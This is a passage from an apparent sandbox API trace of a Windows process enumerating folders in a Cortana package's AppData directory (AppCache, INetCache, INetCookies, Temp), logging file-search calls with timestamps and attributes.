dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.139] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e10e7a9, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCache", cAlternateFileName="")) returned 1 [0216.139] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2e68be50, ftLastAccessTime.dwHighDateTime=0x1d9775f, ftLastWriteTime.dwLowDateTime=0x2e68be50, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0216.139] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x320c9b3d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x320c9b3d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0216.140] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6064f492, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6064f492, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0216.140] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6da0d9db, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6da0d9db, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6fa3d60b, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0216.140] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x60629330, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x60629330, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0216.140] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x60629330, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x60629330, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0216.141] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.141] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC", lpFilePart=0x0) returned 0x57 [0216.141] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e10e7a9, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.141] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e10e7a9, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.142] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e10e7a9, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCache", cAlternateFileName="")) returned 1 [0216.142] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2e68be50, ftLastAccessTime.dwHighDateTime=0x1d9775f, ftLastWriteTime.dwLowDateTime=0x2e68be50, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0216.142] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x320c9b3d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x320c9b3d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0216.142] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6064f492, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6064f492, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0216.142] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6da0d9db, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6da0d9db, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6fa3d60b, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0216.143] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x60629330, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x60629330, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0216.143] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.143] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.143] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache", lpFilePart=0x0) returned 0x60 [0216.143] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e10e7a9, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.144] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e10e7a9, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.144] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb4ccdcc, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xb4ccdcc, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C1J92J4X", cAlternateFileName="")) returned 1 [0216.144] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e134a22, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0216.145] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.145] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.145] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache", lpFilePart=0x0) returned 0x60 [0216.145] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e10e7a9, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.145] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e10e7a9, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.146] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb4ccdcc, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xb4ccdcc, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C1J92J4X", cAlternateFileName="")) returned 1 [0216.146] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e134a22, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0216.146] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e134a22, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0216.146] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0216.147] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X", lpFilePart=0x0) returned 0x69 [0216.147] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb4ccdcc, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xb4ccdcc, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.147] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb4ccdcc, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xb4ccdcc, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.148] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x989e4279, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x989e4279, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1 [0216.148] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e2b228d, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1 [0216.148] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebd9357f, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec173241, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xec173241, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1 [0216.148] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74be545, ftCreationTime.dwHighDateTime=0x1d70503, ftLastAccessTime.dwLowDateTime=0x74e4667, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0x74e4667, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8", cAlternateFileName="")) returned 1 [0216.149] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e134a22, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0216.149] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.149] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0216.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0216.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0216.149] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X", lpFilePart=0x0) returned 0x69 [0216.149] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb4ccdcc, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xb4ccdcc, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.150] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb4ccdcc, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0xb4ccdcc, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.150] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x989e4279, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x989e4279, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1 [0216.150] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e2b228d, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1 